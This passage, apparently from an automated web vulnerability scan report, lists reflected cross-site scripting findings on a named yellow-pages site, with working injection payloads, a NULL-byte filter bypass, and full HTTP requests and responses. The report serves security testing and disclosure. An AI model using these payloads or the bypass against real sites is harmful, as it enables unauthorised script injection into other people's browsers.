Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /common/shared.js5d77a&quot;-alert(1)-&quot;d7d525d2174
Server: Unspecified
Set-Cookie: JSESSIONID=8C5DF724BAACBD276D5052291066409F; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:31:14 GMT
Cache-Control: private
Content-Length: 36071


                       <!--
       
       -->


                                   
...[SNIP]...
p://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/common/shared.js5d77a"-alert(1)-"d7d525d2174?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.95. http://yellowpages.superpages.com/listings.jsp [C parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /listings.jsp

Issue detail

The value of the C request parameter is copied into the HTML document as plain text between tags. The payload %00e5acd<script>alert(1)</script>93fce6bf183 was submitted in the C parameter. This input was echoed as e5acd<script>alert(1)</script>93fce6bf183 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /listings.jsp?C=florists%00e5acd<script>alert(1)</script>93fce6bf183 HTTP/1.1
Host: yellowpages.superpages.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472;

Response

HTTP/1.1 500 Internal Server Error
Server: Unspecified
Set-Cookie: JSESSIONID=C5E4B03A766E89FAC74949B1AE645437; Path=/
Content-Type: text/html;charset=ISO-8859-1
Date: Thu, 03 Feb 2011 17:10:53 GMT
Connection: close


<!--

-->


                                                                        <html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="ht
...[SNIP]...
<div title=java.lang.String>javax.servlet.forward.query_string=C=florists%00e5acd<script>alert(1)</script>93fce6bf183</div>
...[SNIP]...

1.96. http://yellowpages.superpages.com/listings.jsp [C parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /listings.jsp

Issue detail

The value of the C request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b00f4"%3balert(1)//9ea80311ee5 was submitted in the C parameter. This input was echoed as b00f4";alert(1)//9ea80311ee5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /listings.jsp?C=floristsb00f4"%3balert(1)//9ea80311ee5 HTTP/1.1
Host: yellowpages.superpages.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472;

Response

HTTP/1.1 200 OK
Server: Unspecified
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Set-Cookie: JSESSIONID=8C1509CAA35A56F034FAD97133ED8997; Path=/
Set-Cookie: web=; Domain=.superpages.com; Path=/
Set-Cookie: shopping=; Domain=.superpages.com; Path=/
Set-Cookie: yp=C:floristsb00f4%22%3Balert%281%29%2F%2F9ea80311ee5$; Domain=.superpages.com; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 57369
Date: Thu, 03 Feb 2011 17:10:47 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<script language="JavaScript" type="text/javascript">
document.cookie="OpenPhones=";
</script>
<h
...[SNIP]...
lines. */
/* 09-04-08: CMM New logic to track errors via Omniture. */
s.pageName= "Error Page Try Again";
s.pageType = "errorPage";
s.prop35 = "???omniture.error.tracking.NLF???";
s.prop39 = "floristsb00f4";alert(1)//9ea80311ee5";
s.prop6 = "Dallas";
s.prop7 = "TX";
s.prop8 = "";
s.eVar10 = "Dallas TX";
var s_code=s.t();
if(s_code)
document.write(s_code);
//-->
...[SNIP]...

1.97. http://yellowpages.superpages.com/listings.jsp [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /listings.jsp

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 277d5"-alert(1)-"5f0b41eeee6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /listings.jsp277d5"-alert(1)-"5f0b41eeee6 HTTP/1.1
Host: yellowpages.superpages.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472;

Response

HTTP/1.1 404 /listings.jsp277d5&quot;-alert(1)-&quot;5f0b41eeee6
Server: Unspecified
Set-Cookie: JSESSIONID=8E53E473DA04106852BE1CA9427A533A; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 17:10:16 GMT
Connection: close


                       <!--
       
       -->


                                   
...[SNIP]...
'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/listings.jsp277d5"-alert(1)-"5f0b41eeee6?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.98. http://yellowpages.superpages.com/listings.jsp [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /listings.jsp

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6eb2e"-alert(1)-"eb20ccb0e37 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /listings.jsp?6eb2e"-alert(1)-"eb20ccb0e37=1 HTTP/1.1
Host: yellowpages.superpages.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472;

Response

HTTP/1.1 200 OK
Server: Unspecified
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Set-Cookie: JSESSIONID=D605CA0AE799843045E67761B4B8FFA3; Path=/
Set-Cookie: web=; Domain=.superpages.com; Path=/
Set-Cookie: shopping=; Domain=.superpages.com; Path=/
Set-Cookie: yp=; Domain=.superpages.com; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 56970
Date: Thu, 03 Feb 2011 17:10:04 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<script language="JavaScript" type="text/javascript">
document.cookie="OpenPhones=";
</script>
<h
...[SNIP]...
ges.com';
var var_account = 'Superpagescom';
var hostServ = 'http://yellowpages.superpages.com';
var searchtype="two";
searchtype="one";
var actualUrl = "http://yellowpages.superpages.com/listings.jsp?6eb2e"-alert(1)-"eb20ccb0e37=1";
var client_id = "133515049997773";
var redirecturl = 'http://yellowpages.superpages.com/Facebook';
//-->
...[SNIP]...

1.99. http://yellowpages.superpages.com/mapbasedsearch/mapsearch.jsp [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /mapbasedsearch/mapsearch.jsp

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 443ae"-alert(1)-"9a43d5cbd11 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /mapbasedsearch443ae"-alert(1)-"9a43d5cbd11/mapsearch.jsp HTTP/1.1
Host: yellowpages.superpages.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472;

Response

HTTP/1.1 404 /mapbasedsearch443ae&quot;-alert(1)-&quot;9a43d5cbd11/mapsearch.jsp
Server: Unspecified
Set-Cookie: JSESSIONID=BBEB9F1133B421096148BD47E50E8096; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 17:11:00 GMT
Connection: close


                       <!--
       
       -->


                                   
...[SNIP]...
ttp://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/mapbasedsearch443ae"-alert(1)-"9a43d5cbd11/mapsearch.jsp?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.100. http://yellowpages.superpages.com/mapbasedsearch/mapsearch.jsp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /mapbasedsearch/mapsearch.jsp

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dd6e6"-alert(1)-"4f9032749d1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /mapbasedsearch/mapsearch.jspdd6e6"-alert(1)-"4f9032749d1 HTTP/1.1
Host: yellowpages.superpages.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472;

Response

HTTP/1.1 404 /mapbasedsearch/mapsearch.jspdd6e6&quot;-alert(1)-&quot;4f9032749d1
Server: Unspecified
Set-Cookie: JSESSIONID=6A56F54F7F3562CEA77C1D9E1165869B; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 17:11:15 GMT
Connection: close


                       <!--
       
       -->


                                   
...[SNIP]...
ges.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/mapbasedsearch/mapsearch.jspdd6e6"-alert(1)-"4f9032749d1?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.101. http://yellowpages.superpages.com/profile.jsp [LID%3D parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /profile.jsp

Issue detail

The value of the LID%3D request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d5f6c"-alert(1)-"89fbe9b4764 was submitted in the LID%3D parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /profile.jsp?LID%3Dd5f6c"-alert(1)-"89fbe9b4764 HTTP/1.1
Host: yellowpages.superpages.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472;

Response

HTTP/1.1 200 OK
Server: Unspecified
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Set-Cookie: JSESSIONID=56C7E4A7E9BE4417CC27D724944372C2; Path=/
Set-Cookie: web=; Domain=.superpages.com; Path=/
Set-Cookie: shopping=; Domain=.superpages.com; Path=/
Set-Cookie: yp=; Domain=.superpages.com; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 56887
Date: Thu, 03 Feb 2011 17:10:00 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<script language="JavaScript" type="text/javascript">
document.cookie="OpenPhones=";
</script>
<h
...[SNIP]...
om';
var var_account = 'Superpagescom';
var hostServ = 'http://yellowpages.superpages.com';
var searchtype="two";
searchtype="one";
var actualUrl = "http://yellowpages.superpages.com/profile.jsp?LID%3Dd5f6c"-alert(1)-"89fbe9b4764=";
var client_id = "133515049997773";
var redirecturl = 'http://yellowpages.superpages.com/Facebook';
//-->
...[SNIP]...

1.102. http://yellowpages.superpages.com/profile.jsp [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /profile.jsp

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c50ad"-alert(1)-"eb234e6d437 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /profile.jspc50ad"-alert(1)-"eb234e6d437 HTTP/1.1
Host: yellowpages.superpages.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472;

Response

HTTP/1.1 404 /profile.jspc50ad&quot;-alert(1)-&quot;eb234e6d437
Server: Unspecified
Set-Cookie: JSESSIONID=4BAED70D8FFB9064D8585BBF87B9B20C; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 17:10:27 GMT
Connection: close


                       <!--
       
       -->


                                   
...[SNIP]...
'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/profile.jspc50ad"-alert(1)-"eb234e6d437?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.103. http://yellowpages.superpages.com/profile.jsp [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /profile.jsp

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 63e22"-alert(1)-"f9f6563e460 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /profile.jsp?63e22"-alert(1)-"f9f6563e460=1 HTTP/1.1
Host: yellowpages.superpages.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472;

Response

HTTP/1.1 200 OK
Server: Unspecified
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Set-Cookie: JSESSIONID=0FD2B8CB4B419165CE2C372B67FFF46C; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 32667
Date: Thu, 03 Feb 2011 17:10:08 GMT
Connection: close


<!--
-->
<html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">
<head>
<title>
Superpages.com
...[SNIP]...
ages.com';
var var_account = 'Superpagescom';
var hostServ = 'http://yellowpages.superpages.com';
var searchtype="two";
searchtype="one";
var actualUrl = "http://yellowpages.superpages.com/profile.jsp?63e22"-alert(1)-"f9f6563e460=1";
var client_id = "133515049997773";
var redirecturl = 'http://yellowpages.superpages.com/Facebook';
//-->
...[SNIP]...

1.104. http://yellowpages.superpages.com/profiler/abook.jsp [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /profiler/abook.jsp

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 88a3b"-alert(1)-"f68d6ca10b2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /profiler88a3b"-alert(1)-"f68d6ca10b2/abook.jsp HTTP/1.1
Host: yellowpages.superpages.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472;

Response

HTTP/1.1 404 /profiler88a3b&quot;-alert(1)-&quot;f68d6ca10b2/abook.jsp
Server: Unspecified
Set-Cookie: JSESSIONID=55AB36387FFC53A62D516A7528117702; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 17:11:42 GMT
Connection: close


                       <!--
       
       -->


                                   
...[SNIP]...
v = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/profiler88a3b"-alert(1)-"f68d6ca10b2/abook.jsp?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.105. http://yellowpages.superpages.com/profiler/abook.jsp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /profiler/abook.jsp

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8f26e"-alert(1)-"c50d8f06cd0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /profiler/abook.jsp8f26e"-alert(1)-"c50d8f06cd0 HTTP/1.1
Host: yellowpages.superpages.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472;

Response

HTTP/1.1 404 /profiler/abook.jsp8f26e&quot;-alert(1)-&quot;c50d8f06cd0
Server: Unspecified
Set-Cookie: JSESSIONID=3509911F0F012E3B5DB1A7C0CB989815; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 17:11:53 GMT
Connection: close


                       <!--
       
       -->


                                   
...[SNIP]...
//yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/profiler/abook.jsp8f26e"-alert(1)-"c50d8f06cd0?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.106. http://yellowpages.superpages.com/profiler/abook.jsp [couponsLoc parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /profiler/abook.jsp

Issue detail

The value of the couponsLoc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 64010"-alert(1)-"1a4a0871ee5 was submitted in the couponsLoc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /profiler/abook.jsp?requestAction=toCoupons&couponsLoc=64010"-alert(1)-"1a4a0871ee5 HTTP/1.1
Host: yellowpages.superpages.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472;

Response

HTTP/1.1 200 OK
Server: Unspecified
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Pragma: public
Cache-Control: max-age=0
Set-Cookie: JSESSIONID=53B85B4145F5F86D79C967AF60B8C824; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 64285
Date: Thu, 03 Feb 2011 17:11:32 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.
...[SNIP]...
m';
var hostServ = 'http://yellowpages.superpages.com';
var searchtype="two";
searchtype="one";
var actualUrl = "http://yellowpages.superpages.com/profiler/abook.jsp?requestAction=toCoupons&couponsLoc=64010"-alert(1)-"1a4a0871ee5";
var client_id = "133515049997773";
var redirecturl = 'http://yellowpages.superpages.com/Facebook';
//-->
...[SNIP]...

1.107. http://yellowpages.superpages.com/profiler/abook.jsp [requestAction parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /profiler/abook.jsp

Issue detail

The value of the requestAction request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b54c7"-alert(1)-"f103ef4cee was submitted in the requestAction parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /profiler/abook.jsp?requestAction=toCouponsb54c7"-alert(1)-"f103ef4cee HTTP/1.1
Host: yellowpages.superpages.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472;

Response

HTTP/1.1 200 OK
Server: Unspecified
P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Pragma: public
Cache-Control: max-age=0
Set-Cookie: JSESSIONID=B8EF79737E86E1212341473A6B416604; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 64190
Date: Thu, 03 Feb 2011 17:10:34 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.
...[SNIP]...
Superpagescom';
var hostServ = 'http://yellowpages.superpages.com';
var searchtype="two";
searchtype="one";
var actualUrl = "http://yellowpages.superpages.com/profiler/abook.jsp?requestAction=toCouponsb54c7"-alert(1)-"f103ef4cee";
var client_id = "133515049997773";
var redirecturl = 'http://yellowpages.superpages.com/Facebook';
//-->
...[SNIP]...

1.108. http://yellowpages.superpages.com/reviews/js/ajaxreviews.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /reviews/js/ajaxreviews.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload daf46"-alert(1)-"5c6fb56425b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /reviewsdaf46"-alert(1)-"5c6fb56425b/js/ajaxreviews.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /reviewsdaf46&quot;-alert(1)-&quot;5c6fb56425b/js/ajaxreviews.js
Server: Unspecified
Set-Cookie: JSESSIONID=8C8FB1AE6353FA670702AEA79FA748ED; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:45 GMT
Cache-Control: private
Content-Length: 36089


                       <!--
       
       -->


                                   
...[SNIP]...
rv = 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/reviewsdaf46"-alert(1)-"5c6fb56425b/js/ajaxreviews.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.109. http://yellowpages.superpages.com/reviews/js/ajaxreviews.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /reviews/js/ajaxreviews.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dbcb3"-alert(1)-"62acf7edf87 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /reviews/jsdbcb3"-alert(1)-"62acf7edf87/ajaxreviews.js HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

HTTP/1.1 404 /reviews/jsdbcb3&quot;-alert(1)-&quot;62acf7edf87/ajaxreviews.js
Server: Unspecified
Set-Cookie: JSESSIONID=F0D826CA6507947C1A8E9F5CFFA2E340; Path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 03 Feb 2011 16:34:54 GMT
Cache-Control: private
Content-Length: 36089


                       <!--
       
       -->


                                   
...[SNIP]...
= 'http://yellowpages.superpages.com';
var searchtype="two";


searchtype="one";


var actualUrl = "http://yellowpages.superpages.com/reviews/jsdbcb3"-alert(1)-"62acf7edf87/ajaxreviews.js?=";
var client_id = "133515049997773";


var redirecturl = 'http://yellowpages.superpages.com/Facebook';


//-->
...[SNIP]...

1.110. http://yellowpages.superpages.com/reviews/js/ajaxreviews.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://yellowpages.superpages.com
Path:   /reviews/js/ajaxreviews.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 16b42"-alert(1)-"90ac00c6709 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /reviews/js/ajaxreviews.js16b42"-alert(1)-"90ac00c6709 HTTP/1.1
Host: yellowpages.superpages.com
Proxy-Connection: keep-alive
Referer: http://www.superpages.com/bp/US/Ally-Bank-The-Bank-That-Is-Wherever-You-Are-L2118363360.htm?SRC=comlocal1a&lbp=1&PGID=dalms102.8089.1296748577335.307646855&bidType=CLIK&TR=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SPC=1296748823650-www.superpages.com-30323935-794472

Response

